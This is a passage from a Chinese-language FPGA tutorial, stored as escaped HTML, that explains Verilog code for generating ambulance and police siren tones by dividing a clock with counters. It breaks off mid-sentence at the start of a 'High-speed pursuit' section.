class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"Music-box-2-Ambulance-siren\"\u003e\u003ca href=\"#Music-box-2-Ambulance-siren\" class=\"headerlink\" title=\"Music box 2 - Ambulance siren\"\u003e\u003c/a\u003eMusic box 2 - Ambulance siren\u003c/h2\u003e\u003cp\u003e这次在两种音调之间交替。首先使用24位计数器 \u003ccode\u003etone\u003c/code\u003e 来产生一个缓慢的方波,其最高位(MSB)以1.5Hz的频率进行切换。然后我们在这两个频率之间切换另一个计数器。这样就发出了类似救护车警报一类的声音。\u003c/p\u003e\u003cp\u003e先产生一个1.5Hz的信号 \u003ccode\u003etone\u003c/code\u003e ,此时计数器 \u003ccode\u003ecounter\u003c/code\u003e 为向下计数,当 \u003ccode\u003ecounter\u003c/code\u003e 为0时,如果 \u003ccode\u003etone\u003c/code\u003e 为1,继续产生440Hz的信号,当 \u003ccode\u003etone\u003c/code\u003e 为0时,产生220Hz。这两个频率的信号以1.5Hz的频率交替出现。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// ambulance.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// MSB 1.5Hz变动一次\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e25'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 计数器为0,说明当前频率已产生完毕,切换下一个\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 根据tone的MSB是否有值来确定\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 如果tone的MSB为0,则切换为220Hz的声音\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 如果tone的MSB为1,则切换为440Hz的声音\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e?\u003c/span\u003eclkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"Police-siren\"\u003e\u003ca href=\"#Police-siren\" class=\"headerlink\" title=\"Police siren\"\u003e\u003c/a\u003ePolice siren\u003c/h3\u003e\u003cp\u003e接下来是生成一个听起来像警笛的声音。这个声音听着是又小逐渐变大的这种,之前声音像跳楼梯,这次的像上坡。\u003c/p\u003e\u003cp\u003e我们将音调计数器 \u003ccode\u003etone\u003c/code\u003e 的速度提高一倍,变为3Hz。\u003c/p\u003e\u003cp\u003e然后,就开始升频操作。我们提取音调计数器的16位到第22位:\u003ccode\u003etone[22:16]\u003c/code\u003e。这样我们得到了7bit,并且以一个中等速度从0~127,到达127后,再从127~0。\u003c/p\u003e\u003cp\u003e为了得到一个向下的斜坡,将其进行翻转(\u003ccode\u003e~tone[22:16]\u003c/code\u003e),此时从127~0。\u003c/p\u003e\u003cp\u003e为了切换上下这两个通道,同上面一样,我们根据 MSB \u003ccode\u003etone[23]\u003c/code\u003e 的值进行选择,3Hz切换一次。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e ramp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003ewire表示直通,即只要输入有变化,输出马上无条件地反映;reg表示一定要有触发,输出才会反映输入。(\u003ca href=\"https://zhuanlan.zhihu.com/p/482748824\"\u003e【Verilog HDL】Verilog中wire与reg类型学习 - 知乎 (zhihu.com)\u003c/a\u003e)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这样做的意义:\u003ca href=\"https://www.fpga4fun.com/MusicBox_ramp_explanation.html\"\u003efpga4fun.com - Music box siren ramp\u003c/a\u003e 。\u003c/p\u003e\u003cp\u003e这个 \u003ccode\u003eramp\u003c/code\u003e 的值从 \u003ccode\u003e7\u0026#39;b0000000\u003c/code\u003e 到 \u003ccode\u003e7\u0026#39;b1111111\u003c/code\u003e 。为了得到一个可用的值产生声音,我们在他前面补2位 \u003ccode\u003e2\u0026#39;b01\u003c/code\u003e 后面补7位 \u003ccode\u003e7\u0026#39;b0000000\u003c/code\u003e 进行填充。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e2'b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e ramp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7'b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样, \u003ccode\u003eclkdivider\u003c/code\u003e 的值从 \u003ccode\u003e16\u0026#39;b0100000000000000\u003c/code\u003e 到\u003ccode\u003e16\u0026#39;b01111110000000\u003c/code\u003e ,在50MHz的时钟下,相当于产生从765Hz到1525Hz的高音调警报器。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// police\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e police #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// MSB 3Hz变动一次\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e24'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 判断是上升还是下降\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e ramp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// clkdivider 以3Hz为周期变动\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e2'b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e ramp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7'b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e clkdivider\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"High-speed-pursuit\"\u003e\u003ca href=\"#High-speed-pursuit\" class=\"headerlink\" title=\"High-speed pursuit\"\u003e\u003c/a\u003eHigh-speed pursuit\u003c/h3\u003e\u003cp\u003e要进行高速追击,警报声音有快有慢。\u003c/p\u003e\u003cp\u003e所以 \u003ccode\u003etone[22:16]\u003c/code\u003e 给我们一个快速的斜坡,而 